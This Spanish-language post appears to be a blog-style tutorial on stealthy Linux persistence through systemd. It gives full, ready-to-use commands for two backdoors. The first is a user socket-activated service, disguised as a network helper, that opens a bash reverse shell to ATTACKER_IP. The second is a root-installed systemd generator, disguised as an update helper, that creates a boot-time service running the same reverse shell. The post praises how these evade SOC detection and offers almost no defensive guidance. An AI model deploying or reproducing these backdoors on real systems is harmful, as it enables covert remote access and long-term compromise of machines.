Nueva técnica de persistencia en Linux llamada Living off the Land 2.0 aprovecha infraestructura normal del sistema (como systemd) para evitar detección en SOCs, usando socket activation y generators que no dejan procesos activos ni rastros tradicionales, activándose solo bajo demanda del atacante y pasando desapercibidos al no revisarse rutas como /run/systemd/generator/.

• Hay una regla no escrita en intrusiones modernas: El mejor malware es el que no parece malware. Pero hay una evolución aún más interesante que se está viendo en entornos Linux modernos. Persistencia que: no deja procesos corriendo, no hace beaconing, no usa cron, no instala malware clásico y aparece solo cuando el atacante lo necesita. Todo usando infraestructura normal del sistema. Y en muchos SOC todavía pasa desapercibido. Esto podríamos llamarlo Living off the Land en systemd

Hoy vamos a ver dos niveles. El segundo casi nadie lo revisa.

Nivel 1 — Persistencia bajo demanda con socket activation

Muchos servicios Linux funcionan así: systemd abre un socket y cuando alguien se conecta… se lanza el servicio. Esto se usa en servicios reales del sistema todo el tiempo. Pero también se puede abusar. La idea es simple: Crear un socket local que solo ejecute el payload cuando alguien lo toque.

Sin procesos persistentes.
Sin tráfico periódico.
Sin nada que llame la atención.

Primero se crea el servicio:

mkdir -p ~/.config/systemd/user

cat > ~/.config/systemd/user/systemd-network-helper.service << 'EOF'
[Unit]
Description=System Network Helper

[Service]
Type=simple
ExecStart=/bin/bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
StandardInput=socket
EOF

Después el socket que lo activa:

cat > ~/.config/systemd/user/systemd-network-helper.socket << 'EOF'
[Unit]
Description=System Network Helper Socket

[Socket]
ListenStream=127.0.0.1:45555
Accept=no

[Install]
WantedBy=sockets.target
EOF

Activación:

systemctl --user daemon-reload
systemctl --user enable --now systemd-network-helper.socket

Y aquí viene lo interesante.

Ahora el sistema queda así:

• Hay un socket escuchando
• No hay proceso activo
• No hay conexión saliente
• No hay nada ejecutándose

Hasta que el atacante decide activarlo.

Por ejemplo, tras pivotar dentro de la red:

nc 127.0.0.1 45555

En ese momento systemd hace esto:

1. Lanza el servicio
2. Conecta el socket
3. El payload se ejecuta
4. Cuando termina… desaparece

Muchos sistemas de detección dependen de procesos persistentes. Aquí el atacante no existe hasta que decide existir. 

Pero esto no es lo más interesante...

Nivel 2 — Persistencia que casi nadie revisa: systemd generators

Aquí es donde la cosa se vuelve realmente interesante. systemd tiene algo llamado generators. Son pequeños programas que se ejecutan durante el arranque del sistema y generan servicios dinámicamente. No son servicios normales. No aparecen en los lugares donde normalmente se revisa persistencia. 

systemd ejecuta cualquier binario que encuentre en:

/usr/lib/systemd/system-generators/
/run/systemd/system-generators/
/etc/systemd/system-generators/

Y eso abre una puerta bastante potente. Porque un generator puede crear servicios cada vez que el sistema arranca.

El flujo ofensivo sería:

1. Acceso inicial
2. Escalada de privilegios
3. Instalar generator
4. El generator crea un servicio en boot
5. El servicio ejecuta payload
6. Todo parece parte del sistema

Crear el generator:

sudo mkdir -p /etc/systemd/system-generators

sudo nano /etc/systemd/system-generators/systemd-update-generator

Contenido:

#!/bin/bash

OUT_DIR="$1"

cat > "$OUT_DIR/system-update-helper.service" << 'EOF'
[Unit]
Description=System Update Helper
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

[Install]
WantedBy=multi-user.target
EOF

Permisos:

sudo chmod +x /etc/systemd/system-generators/systemd-update-generator

Ahora pasa algo curioso.

Durante el arranque:

1. systemd ejecuta el generator
2. el generator crea el servicio
3. el servicio aparece dinámicamente en:

/run/systemd/generator/

Muchos analistas no revisan esa ruta. Porque normalmente se busca persistencia en:

/etc/systemd/system
/usr/lib/systemd/system

Pero no en unidades generadas dinámicamente, lo que hace esto especialmente interesante en intrusiones reales ;)

Tiene varias propiedades que gustan mucho a atacantes avanzados:

• Se mezcla con lógica interna del sistema
• Ocurre durante el boot
• Puede camuflarse fácilmente
• No deja servicios obvios instalados
• Genera unidades dinámicas
• Es raro en malware común

Y hay otro detalle importante:

Muchos equipos de seguridad ni siquiera saben que esto existe.

Y si este post te interesa, en el siguiente veremos una técnica que se está viendo en intrusiones modernas que combina: systemd, contenedores y control de red interno, y que es mucho más sigilosa que esto.